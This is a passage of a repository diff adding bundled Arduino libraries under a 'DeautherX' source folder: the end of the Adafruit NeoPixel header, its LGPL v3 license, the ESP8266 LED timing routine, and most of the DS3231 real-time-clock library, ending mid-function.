uint8_t wOffset; ///< Index of white (==rOffset if no white)
|
||||
uint32_t endTime; ///< Latch timing reference
|
||||
#ifdef __AVR__
|
||||
volatile uint8_t *port; ///< Output PORT register
|
||||
uint8_t pinMask; ///< Output PORT bitmask
|
||||
#endif
|
||||
#if defined(ARDUINO_ARCH_STM32) || defined(ARDUINO_ARCH_ARDUINO_CORE_STM32)
|
||||
GPIO_TypeDef *gpioPort; ///< Output GPIO PORT
|
||||
uint32_t gpioPin; ///< Output GPIO PIN
|
||||
#endif
|
||||
};
|
||||
|
||||
#endif // ADAFRUIT_NEOPIXEL_H
|
||||
165
DeautherX/src/Adafruit_NeoPixel-1.7.0/COPYING
Normal file
165
DeautherX/src/Adafruit_NeoPixel-1.7.0/COPYING
Normal file
@@ -0,0 +1,165 @@
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
|
||||
This version of the GNU Lesser General Public License incorporates
|
||||
the terms and conditions of version 3 of the GNU General Public
|
||||
License, supplemented by the additional permissions listed below.
|
||||
|
||||
0. Additional Definitions.
|
||||
|
||||
As used herein, "this License" refers to version 3 of the GNU Lesser
|
||||
General Public License, and the "GNU GPL" refers to version 3 of the GNU
|
||||
General Public License.
|
||||
|
||||
"The Library" refers to a covered work governed by this License,
|
||||
other than an Application or a Combined Work as defined below.
|
||||
|
||||
An "Application" is any work that makes use of an interface provided
|
||||
by the Library, but which is not otherwise based on the Library.
|
||||
Defining a subclass of a class defined by the Library is deemed a mode
|
||||
of using an interface provided by the Library.
|
||||
|
||||
A "Combined Work" is a work produced by combining or linking an
|
||||
Application with the Library. The particular version of the Library
|
||||
with which the Combined Work was made is also called the "Linked
|
||||
Version".
|
||||
|
||||
The "Minimal Corresponding Source" for a Combined Work means the
|
||||
Corresponding Source for the Combined Work, excluding any source code
|
||||
for portions of the Combined Work that, considered in isolation, are
|
||||
based on the Application, and not on the Linked Version.
|
||||
|
||||
The "Corresponding Application Code" for a Combined Work means the
|
||||
object code and/or source code for the Application, including any data
|
||||
and utility programs needed for reproducing the Combined Work from the
|
||||
Application, but excluding the System Libraries of the Combined Work.
|
||||
|
||||
1. Exception to Section 3 of the GNU GPL.
|
||||
|
||||
You may convey a covered work under sections 3 and 4 of this License
|
||||
without being bound by section 3 of the GNU GPL.
|
||||
|
||||
2. Conveying Modified Versions.
|
||||
|
||||
If you modify a copy of the Library, and, in your modifications, a
|
||||
facility refers to a function or data to be supplied by an Application
|
||||
that uses the facility (other than as an argument passed when the
|
||||
facility is invoked), then you may convey a copy of the modified
|
||||
version:
|
||||
|
||||
a) under this License, provided that you make a good faith effort to
|
||||
ensure that, in the event an Application does not supply the
|
||||
function or data, the facility still operates, and performs
|
||||
whatever part of its purpose remains meaningful, or
|
||||
|
||||
b) under the GNU GPL, with none of the additional permissions of
|
||||
this License applicable to that copy.
|
||||
|
||||
3. Object Code Incorporating Material from Library Header Files.
|
||||
|
||||
The object code form of an Application may incorporate material from
|
||||
a header file that is part of the Library. You may convey such object
|
||||
code under terms of your choice, provided that, if the incorporated
|
||||
material is not limited to numerical parameters, data structure
|
||||
layouts and accessors, or small macros, inline functions and templates
|
||||
(ten or fewer lines in length), you do both of the following:
|
||||
|
||||
a) Give prominent notice with each copy of the object code that the
|
||||
Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the object code with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
4. Combined Works.
|
||||
|
||||
You may convey a Combined Work under terms of your choice that,
|
||||
taken together, effectively do not restrict modification of the
|
||||
portions of the Library contained in the Combined Work and reverse
|
||||
engineering for debugging such modifications, if you also do each of
|
||||
the following:
|
||||
|
||||
a) Give prominent notice with each copy of the Combined Work that
|
||||
the Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the Combined Work with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
c) For a Combined Work that displays copyright notices during
|
||||
execution, include the copyright notice for the Library among
|
||||
these notices, as well as a reference directing the user to the
|
||||
copies of the GNU GPL and this license document.
|
||||
|
||||
d) Do one of the following:
|
||||
|
||||
0) Convey the Minimal Corresponding Source under the terms of this
|
||||
License, and the Corresponding Application Code in a form
|
||||
suitable for, and under terms that permit, the user to
|
||||
recombine or relink the Application with a modified version of
|
||||
the Linked Version to produce a modified Combined Work, in the
|
||||
manner specified by section 6 of the GNU GPL for conveying
|
||||
Corresponding Source.
|
||||
|
||||
1) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (a) uses at run time
|
||||
a copy of the Library already present on the user's computer
|
||||
system, and (b) will operate properly with a modified version
|
||||
of the Library that is interface-compatible with the Linked
|
||||
Version.
|
||||
|
||||
e) Provide Installation Information, but only if you would otherwise
|
||||
be required to provide such information under section 6 of the
|
||||
GNU GPL, and only to the extent that such information is
|
||||
necessary to install and execute a modified version of the
|
||||
Combined Work produced by recombining or relinking the
|
||||
Application with a modified version of the Linked Version. (If
|
||||
you use option 4d0, the Installation Information must accompany
|
||||
the Minimal Corresponding Source and Corresponding Application
|
||||
Code. If you use option 4d1, you must provide the Installation
|
||||
Information in the manner specified by section 6 of the GNU GPL
|
||||
for conveying Corresponding Source.)
|
||||
|
||||
5. Combined Libraries.
|
||||
|
||||
You may place library facilities that are a work based on the
|
||||
Library side by side in a single library together with other library
|
||||
facilities that are not Applications and are not covered by this
|
||||
License, and convey such a combined library under terms of your
|
||||
choice, if you do both of the following:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work based
|
||||
on the Library, uncombined with any other library facilities,
|
||||
conveyed under the terms of this License.
|
||||
|
||||
b) Give prominent notice with the combined library that part of it
|
||||
is a work based on the Library, and explaining where to find the
|
||||
accompanying uncombined form of the same work.
|
||||
|
||||
6. Revised Versions of the GNU Lesser General Public License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions
|
||||
of the GNU Lesser General Public License from time to time. Such new
|
||||
versions will be similar in spirit to the present version, but may
|
||||
differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Library as you received it specifies that a certain numbered version
|
||||
of the GNU Lesser General Public License "or any later version"
|
||||
applies to it, you have the option of following the terms and
|
||||
conditions either of that published version or of any later version
|
||||
published by the Free Software Foundation. If the Library as you
|
||||
received it does not specify a version number of the GNU Lesser
|
||||
General Public License, you may choose any version of the GNU Lesser
|
||||
General Public License ever published by the Free Software Foundation.
|
||||
|
||||
If the Library as you received it specifies that a proxy can decide
|
||||
whether future versions of the GNU Lesser General Public License shall
|
||||
apply, that proxy's public statement of acceptance of any version is
|
||||
permanent authorization for you to choose that version for the
|
||||
Library.
|
||||
86
DeautherX/src/Adafruit_NeoPixel-1.7.0/esp8266.c
Normal file
86
DeautherX/src/Adafruit_NeoPixel-1.7.0/esp8266.c
Normal file
@@ -0,0 +1,86 @@
|
||||
// This is a mash-up of the Due show() code + insights from Michael Miller's
|
||||
// ESP8266 work for the NeoPixelBus library: github.com/Makuna/NeoPixelBus
|
||||
// Needs to be a separate .c file to enforce ICACHE_RAM_ATTR execution.
|
||||
|
||||
#if defined(ESP8266)
|
||||
|
||||
#include <Arduino.h>
|
||||
#ifdef ESP8266
|
||||
#include <eagle_soc.h>
|
||||
#endif
|
||||
|
||||
static uint32_t _getCycleCount(void) __attribute__((always_inline));
|
||||
static inline uint32_t _getCycleCount(void) {
|
||||
uint32_t ccount;
|
||||
__asm__ __volatile__("rsr %0,ccount":"=a" (ccount));
|
||||
return ccount;
|
||||
}
|
||||
|
||||
#ifdef ESP8266
|
||||
void ICACHE_RAM_ATTR espShow(
|
||||
uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) {
|
||||
#else
|
||||
void espShow(
|
||||
uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) {
|
||||
#endif
|
||||
|
||||
#define CYCLES_800_T0H (F_CPU / 2500000) // 0.4us
|
||||
#define CYCLES_800_T1H (F_CPU / 1250000) // 0.8us
|
||||
#define CYCLES_800 (F_CPU / 800000) // 1.25us per bit
|
||||
#define CYCLES_400_T0H (F_CPU / 2000000) // 0.5uS
|
||||
#define CYCLES_400_T1H (F_CPU / 833333) // 1.2us
|
||||
#define CYCLES_400 (F_CPU / 400000) // 2.5us per bit
|
||||
|
||||
uint8_t *p, *end, pix, mask;
|
||||
uint32_t t, time0, time1, period, c, startTime;
|
||||
|
||||
#ifdef ESP8266
|
||||
uint32_t pinMask;
|
||||
pinMask = _BV(pin);
|
||||
#endif
|
||||
|
||||
p = pixels;
|
||||
end = p + numBytes;
|
||||
pix = *p++;
|
||||
mask = 0x80;
|
||||
startTime = 0;
|
||||
|
||||
#ifdef NEO_KHZ400
|
||||
if(is800KHz) {
|
||||
#endif
|
||||
time0 = CYCLES_800_T0H;
|
||||
time1 = CYCLES_800_T1H;
|
||||
period = CYCLES_800;
|
||||
#ifdef NEO_KHZ400
|
||||
} else { // 400 KHz bitstream
|
||||
time0 = CYCLES_400_T0H;
|
||||
time1 = CYCLES_400_T1H;
|
||||
period = CYCLES_400;
|
||||
}
|
||||
#endif
|
||||
|
||||
for(t = time0;; t = time0) {
|
||||
if(pix & mask) t = time1; // Bit high duration
|
||||
while(((c = _getCycleCount()) - startTime) < period); // Wait for bit start
|
||||
#ifdef ESP8266
|
||||
GPIO_REG_WRITE(GPIO_OUT_W1TS_ADDRESS, pinMask); // Set high
|
||||
#else
|
||||
gpio_set_level(pin, HIGH);
|
||||
#endif
|
||||
startTime = c; // Save start time
|
||||
while(((c = _getCycleCount()) - startTime) < t); // Wait high duration
|
||||
#ifdef ESP8266
|
||||
GPIO_REG_WRITE(GPIO_OUT_W1TC_ADDRESS, pinMask); // Set low
|
||||
#else
|
||||
gpio_set_level(pin, LOW);
|
||||
#endif
|
||||
if(!(mask >>= 1)) { // Next bit/byte
|
||||
if(p >= end) break;
|
||||
pix = *p++;
|
||||
mask = 0x80;
|
||||
}
|
||||
}
|
||||
while((_getCycleCount() - startTime) < period); // Wait for last bit
|
||||
}
|
||||
|
||||
#endif // ESP8266
|
||||
3429
DeautherX/src/ArduinoJson-v5.13.5/ArduinoJson.h
Normal file
3429
DeautherX/src/ArduinoJson-v5.13.5/ArduinoJson.h
Normal file
File diff suppressed because it is too large
Load Diff
738
DeautherX/src/DS3231-1.0.3/DS3231.cpp
Normal file
738
DeautherX/src/DS3231-1.0.3/DS3231.cpp
Normal file
@@ -0,0 +1,738 @@
|
||||
/*
|
||||
DS3231.cpp: DS3231 Real-Time Clock library
|
||||
Eric Ayars
|
||||
4/1/11
|
||||
|
||||
Spliced in DateTime all-at-once reading (to avoid rollover) and unix time
|
||||
from Jean-Claude Wippler and Limor Fried
|
||||
Andy Wickert
|
||||
5/15/11
|
||||
|
||||
Fixed problem with SD processors(no function call) by replacing all occurences of the term PM, which
|
||||
is defined as a macro on SAMD controllers by PM_time.
|
||||
Simon Gassner
|
||||
11/28/2017
|
||||
|
||||
|
||||
Released into the public domain.
|
||||
*/
|
||||
|
||||
#include "DS3231.h"
|
||||
|
||||
// These included for the DateTime class inclusion; will try to find a way to
|
||||
// not need them in the future...
|
||||
#if defined(__AVR__)
|
||||
#include <avr/pgmspace.h>
|
||||
#elif defined(ESP8266)
|
||||
#include <pgmspace.h>
|
||||
#endif // if defined(__AVR__)
|
||||
// Changed the following to work on 1.0
|
||||
// #include "WProgram.h"
|
||||
#include <Arduino.h>
|
||||
|
||||
|
||||
#define CLOCK_ADDRESS 0x68
|
||||
|
||||
#define SECONDS_FROM_1970_TO_2000 946684800
|
||||
|
||||
|
||||
// Constructor
|
||||
DS3231::DS3231() {
|
||||
// nothing to do for this constructor.
|
||||
}
|
||||
|
||||
// Utilities from JeeLabs/Ladyada
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
// utility code, some of this could be exposed in the DateTime API if needed
|
||||
|
||||
// DS3231 is smart enough to know this, but keeping it for now so I don't have
|
||||
// to rewrite their code. -ADW
|
||||
static const uint8_t daysInMonth[] PROGMEM = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
|
||||
|
||||
// number of days since 2000/01/01, valid for 2001..2099
|
||||
static uint16_t date2days(uint16_t y, uint8_t m, uint8_t d) {
|
||||
if (y >= 2000)
|
||||
y -= 2000;
|
||||
uint16_t days = d;
|
||||
|
||||
for (uint8_t i = 1; i < m; ++i) days += pgm_read_byte(daysInMonth + i - 1);
|
||||
if ((m > 2) && (y % 4 == 0))
|
||||
++days;
|
||||
return days + 365 * y + (y + 3) / 4 - 1;
|
||||
}
|
||||
|
||||
static long time2long(uint16_t days, uint8_t h, uint8_t m, uint8_t s) {
|
||||
return ((days * 24L + h) * 60 + m) * 60 + s;
|
||||
}
|
||||
|
||||
/*****************************************
|
||||
Public Functions
|
||||
*****************************************/
|
||||
|
||||
/*******************************************************************************
|
||||
* TO GET ALL DATE/TIME INFORMATION AT ONCE AND AVOID THE CHANCE OF ROLLOVER
|
||||
* DateTime implementation spliced in here from Jean-Claude Wippler's (JeeLabs)
|
||||
* RTClib, as modified by Limor Fried (Ladyada); source code at:
|
||||
* https://github.com/adafruit/RTClib
|
||||
******************************************************************************/
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
// DateTime implementation - ignores time zones and DST changes
|
||||
// NOTE: also ignores leap seconds, see http://en.wikipedia.org/wiki/Leap_second
|
||||
|
||||
DateTime::DateTime(uint32_t t) {
|
||||
t -= SECONDS_FROM_1970_TO_2000; // bring to 2000 timestamp from 1970
|
||||
|
||||
ss = t % 60;
|
||||
t /= 60;
|
||||
mm = t % 60;
|
||||
t /= 60;
|
||||
hh = t % 24;
|
||||
uint16_t days = t / 24;
|
||||
uint8_t leap;
|
||||
|
||||
for (yOff = 0;; ++yOff) {
|
||||
leap = yOff % 4 == 0;
|
||||
if (days < 365 + leap)
|
||||
break;
|
||||
days -= 365 + leap;
|
||||
}
|
||||
|
||||
for (m = 1;; ++m) {
|
||||
uint8_t daysPerMonth = pgm_read_byte(daysInMonth + m - 1);
|
||||
if (leap && (m == 2))
|
||||
++daysPerMonth;
|
||||
if (days < daysPerMonth)
|
||||
break;
|
||||
days -= daysPerMonth;
|
||||
}
|
||||
d = days + 1;
|
||||
}
|
||||
|
||||
DateTime::DateTime(uint16_t year, uint8_t month, uint8_t day, uint8_t hour, uint8_t min, uint8_t sec) {
|
||||
if (year >= 2000)
|
||||
year -= 2000;
|
||||
yOff = year;
|
||||
m = month;
|
||||
d = day;
|
||||
hh = hour;
|
||||
mm = min;
|
||||
ss = sec;
|
||||
}
|
||||
|
||||
static uint8_t conv2d(const char* p) {
|
||||
uint8_t v = 0;
|
||||
|
||||
if (('0' <= *p) && (*p <= '9'))
|
||||
v = *p - '0';
|
||||
return 10 * v + *++p - '0';
|
||||
}
|
||||
|
||||
// UNIX time: IS CORRECT ONLY WHEN SET TO UTC!!!
|
||||
uint32_t DateTime::unixtime(void) const {
|
||||
uint32_t t;
|
||||
uint16_t days = date2days(yOff, m, d);
|
||||
|
||||
t = time2long(days, hh, mm, ss);
|
||||
t += SECONDS_FROM_1970_TO_2000; // seconds from 1970 to 2000
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
// Slightly modified from JeeLabs / Ladyada
|
||||
// Get all date/time at once to avoid rollover (e.g., minute/second don't match)
|
||||
static uint8_t bcd2bin(uint8_t val) {
|
||||
return val - 6 * (val >> 4);
|
||||
}
|
||||
|
||||
static uint8_t bin2bcd(uint8_t val) {
|
||||
return val + 6 * (val / 10);
|
||||
}
|
||||
|
||||
DateTime RTClib::now() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0); // This is the first register address (Seconds)
|
||||
// We'll read from here on for 7 bytes: secs reg, minutes reg, hours, days, months and years.
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 7);
|
||||
uint8_t ss = bcd2bin(Wire.read() & 0x7F);
|
||||
uint8_t mm = bcd2bin(Wire.read());
|
||||
uint8_t hh = bcd2bin(Wire.read());
|
||||
|
||||
Wire.read();
|
||||
uint8_t d = bcd2bin(Wire.read());
|
||||
uint8_t m = bcd2bin(Wire.read());
|
||||
uint16_t y = bcd2bin(Wire.read()) + 2000;
|
||||
|
||||
return DateTime(y, m, d, hh, mm, ss);
|
||||
}
|
||||
|
||||
///// ERIC'S ORIGINAL CODE FOLLOWS /////
|
||||
|
||||
byte DS3231::getSecond() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x00);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return bcdToDec(Wire.read());
|
||||
}
|
||||
|
||||
byte DS3231::getMinute() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x01);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return bcdToDec(Wire.read());
|
||||
}
|
||||
|
||||
byte DS3231::getHour(bool& h12, bool& PM_time) {
|
||||
byte temp_buffer;
|
||||
byte hour;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x02);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
temp_buffer = Wire.read();
|
||||
h12 = temp_buffer & 0b01000000;
|
||||
if (h12) {
|
||||
PM_time = temp_buffer & 0b00100000;
|
||||
hour = bcdToDec(temp_buffer & 0b00011111);
|
||||
} else {
|
||||
hour = bcdToDec(temp_buffer & 0b00111111);
|
||||
}
|
||||
return hour;
|
||||
}
|
||||
|
||||
byte DS3231::getDoW() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x03);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return bcdToDec(Wire.read());
|
||||
}
|
||||
|
||||
byte DS3231::getDate() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x04);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return bcdToDec(Wire.read());
|
||||
}
|
||||
|
||||
byte DS3231::getMonth(bool& Century) {
|
||||
byte temp_buffer;
|
||||
byte hour;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x05);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
temp_buffer = Wire.read();
|
||||
Century = temp_buffer & 0b10000000;
|
||||
return bcdToDec(temp_buffer & 0b01111111);
|
||||
}
|
||||
|
||||
byte DS3231::getYear() {
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x06);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
return bcdToDec(Wire.read());
|
||||
}
|
||||
|
||||
void DS3231::setSecond(byte Second) {
|
||||
// Sets the seconds
|
||||
// This function also resets the Oscillator Stop Flag, which is set
|
||||
// whenever power is interrupted.
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x00);
|
||||
Wire.write(decToBcd(Second));
|
||||
Wire.endTransmission();
|
||||
// Clear OSF flag
|
||||
byte temp_buffer = readControlByte(1);
|
||||
|
||||
writeControlByte((temp_buffer & 0b01111111), 1);
|
||||
}
|
||||
|
||||
void DS3231::setMinute(byte Minute) {
|
||||
// Sets the minutes
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x01);
|
||||
Wire.write(decToBcd(Minute));
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setHour(byte Hour) {
|
||||
// Sets the hour, without changing 12/24h mode.
|
||||
// The hour must be in 24h format.
|
||||
|
||||
bool h12;
|
||||
|
||||
// Start by figuring out what the 12/24 mode is
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x02);
|
||||
Wire.endTransmission();
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
h12 = (Wire.read() & 0b01000000);
|
||||
// if h12 is true, it's 12h mode; false is 24h.
|
||||
|
||||
if (h12) {
|
||||
// 12 hour
|
||||
if (Hour > 12) {
|
||||
Hour = decToBcd(Hour-12) | 0b01100000;
|
||||
} else {
|
||||
Hour = decToBcd(Hour) & 0b11011111;
|
||||
}
|
||||
} else {
|
||||
// 24 hour
|
||||
Hour = decToBcd(Hour) & 0b10111111;
|
||||
}
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x02);
|
||||
Wire.write(Hour);
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setDoW(byte DoW) {
|
||||
// Sets the Day of Week
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x03);
|
||||
Wire.write(decToBcd(DoW));
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setDate(byte Date) {
|
||||
// Sets the Date
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x04);
|
||||
Wire.write(decToBcd(Date));
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setMonth(byte Month) {
|
||||
// Sets the month
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x05);
|
||||
Wire.write(decToBcd(Month));
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setYear(byte Year) {
|
||||
// Sets the year
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x06);
|
||||
Wire.write(decToBcd(Year));
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
void DS3231::setClockMode(bool h12) {
|
||||
// sets the mode to 12-hour (true) or 24-hour (false).
|
||||
// One thing that bothers me about how I've written this is that
|
||||
// if the read and right happen at the right hourly millisecnd,
|
||||
// the clock will be set back an hour. Not sure how to do it better,
|
||||
// though, and as long as one doesn't set the mode frequently it's
|
||||
// a very minimal risk.
|
||||
// It's zero risk if you call this BEFORE setting the hour, since
|
||||
// the setHour() function doesn't change this mode.
|
||||
|
||||
byte temp_buffer;
|
||||
|
||||
// Start by reading byte 0x02.
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x02);
|
||||
Wire.endTransmission();
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 1);
|
||||
temp_buffer = Wire.read();
|
||||
|
||||
// Set the flag to the requested value:
|
||||
if (h12) {
|
||||
temp_buffer = temp_buffer | 0b01000000;
|
||||
} else {
|
||||
temp_buffer = temp_buffer & 0b10111111;
|
||||
}
|
||||
|
||||
// Write the byte
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x02);
|
||||
Wire.write(temp_buffer);
|
||||
Wire.endTransmission();
|
||||
}
|
||||
|
||||
float DS3231::getTemperature() {
|
||||
// Checks the internal thermometer on the DS3231 and returns the
|
||||
// temperature as a floating-point value.
|
||||
|
||||
// Updated / modified a tiny bit from "Coding Badly" and "Tri-Again"
|
||||
// http://forum.arduino.cc/index.php/topic,22301.0.html
|
||||
|
||||
byte tMSB, tLSB;
|
||||
float temp3231;
|
||||
|
||||
// temp registers (11h-12h) get updated automatically every 64s
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x11);
|
||||
Wire.endTransmission();
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 2);
|
||||
|
||||
// Should I do more "if available" checks here?
|
||||
if (Wire.available()) {
|
||||
tMSB = Wire.read(); // 2's complement int portion
|
||||
tLSB = Wire.read(); // fraction portion
|
||||
|
||||
temp3231 = ((((short)tMSB << 8) | (short)tLSB) >> 6) / 4.0;
|
||||
}
|
||||
else {
|
||||
temp3231 = -9999; // Some obvious error value
|
||||
}
|
||||
|
||||
return temp3231;
|
||||
}
|
||||
|
||||
void DS3231::getA1Time(byte& A1Day, byte& A1Hour, byte& A1Minute, byte& A1Second, byte& AlarmBits, bool& A1Dy, bool& A1h12, bool& A1PM) {
|
||||
byte temp_buffer;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x07);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 4);
|
||||
|
||||
temp_buffer = Wire.read(); // Get A1M1 and A1 Seconds
|
||||
A1Second = bcdToDec(temp_buffer & 0b01111111);
|
||||
// put A1M1 bit in position 0 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>7;
|
||||
|
||||
temp_buffer = Wire.read(); // Get A1M2 and A1 minutes
|
||||
A1Minute = bcdToDec(temp_buffer & 0b01111111);
|
||||
// put A1M2 bit in position 1 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>6;
|
||||
|
||||
temp_buffer = Wire.read(); // Get A1M3 and A1 Hour
|
||||
// put A1M3 bit in position 2 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>5;
|
||||
// determine A1 12/24 mode
|
||||
A1h12 = temp_buffer & 0b01000000;
|
||||
if (A1h12) {
|
||||
A1PM = temp_buffer & 0b00100000; // determine am/pm
|
||||
A1Hour = bcdToDec(temp_buffer & 0b00011111); // 12-hour
|
||||
} else {
|
||||
A1Hour = bcdToDec(temp_buffer & 0b00111111); // 24-hour
|
||||
}
|
||||
|
||||
temp_buffer = Wire.read(); // Get A1M4 and A1 Day/Date
|
||||
// put A1M3 bit in position 3 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>4;
|
||||
// determine A1 day or date flag
|
||||
A1Dy = (temp_buffer & 0b01000000)>>6;
|
||||
if (A1Dy) {
|
||||
// alarm is by day of week, not date.
|
||||
A1Day = bcdToDec(temp_buffer & 0b00001111);
|
||||
} else {
|
||||
// alarm is by date, not day of week.
|
||||
A1Day = bcdToDec(temp_buffer & 0b00111111);
|
||||
}
|
||||
}
|
||||
|
||||
void DS3231::getA2Time(byte& A2Day, byte& A2Hour, byte& A2Minute, byte& AlarmBits, bool& A2Dy, bool& A2h12, bool& A2PM) {
|
||||
byte temp_buffer;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x0b);
|
||||
Wire.endTransmission();
|
||||
|
||||
Wire.requestFrom(CLOCK_ADDRESS, 3);
|
||||
temp_buffer = Wire.read(); // Get A2M2 and A2 Minutes
|
||||
A2Minute = bcdToDec(temp_buffer & 0b01111111);
|
||||
// put A2M2 bit in position 4 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>3;
|
||||
|
||||
temp_buffer = Wire.read(); // Get A2M3 and A2 Hour
|
||||
// put A2M3 bit in position 5 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>2;
|
||||
// determine A2 12/24 mode
|
||||
A2h12 = temp_buffer & 0b01000000;
|
||||
if (A2h12) {
|
||||
A2PM = temp_buffer & 0b00100000; // determine am/pm
|
||||
A2Hour = bcdToDec(temp_buffer & 0b00011111); // 12-hour
|
||||
} else {
|
||||
A2Hour = bcdToDec(temp_buffer & 0b00111111); // 24-hour
|
||||
}
|
||||
|
||||
temp_buffer = Wire.read(); // Get A2M4 and A1 Day/Date
|
||||
// put A2M4 bit in position 6 of DS3231_AlarmBits.
|
||||
AlarmBits = AlarmBits | (temp_buffer & 0b10000000)>>1;
|
||||
// determine A2 day or date flag
|
||||
A2Dy = (temp_buffer & 0b01000000)>>6;
|
||||
if (A2Dy) {
|
||||
// alarm is by day of week, not date.
|
||||
A2Day = bcdToDec(temp_buffer & 0b00001111);
|
||||
} else {
|
||||
// alarm is by date, not day of week.
|
||||
A2Day = bcdToDec(temp_buffer & 0b00111111);
|
||||
}
|
||||
}
|
||||
|
||||
void DS3231::setA1Time(byte A1Day, byte A1Hour, byte A1Minute, byte A1Second, byte AlarmBits, bool A1Dy, bool A1h12, bool A1PM) {
|
||||
// Sets the alarm-1 date and time on the DS3231, using A1* information
|
||||
byte temp_buffer;
|
||||
|
||||
Wire.beginTransmission(CLOCK_ADDRESS);
|
||||
Wire.write(0x07); // A1 starts at 07h
|
||||
// Send A1 second and A1M1
|
||||
Wire.write(decToBcd(A1Second) | ((AlarmBits & 0b00000001) << 7));
|
||||
// Send A1 Minute and A1M2
|
||||
Wire.write(decToBcd(A1Minute) | ((AlarmBits & 0b00000010) << 6));
|
||||
// Figure out A1 hour
|
||||
if (A1h12) {
|
||||
// Start by converting existing time to h12 if it was given in 24h.
|
||||
if (A1Hour > 12) {
|
||||
// well, then, this obviously isn't a h12 time, is it?
|
||||
A1Hour = A1Hour - 12;
|
||||
A1PM = true;
|
||||
}
|
||||
if (A1PM) {
|
||||
// Afternoon
|
||||
// Convert the hour to BCD and add appropriate flags.
|
||||
temp_buffer = decToBcd(A1Hour) | 0b01100000;
|
||||
} else {
|
||||
// Morning
|
||||
// Convert the hour to BCD and add appropriate flags.
|
||||
temp_buffer = decToBcd(A1Hour) | 0b01000000;
|
||||
}
|
||||
} else {
|
||||
// Now for 24h
|
||||
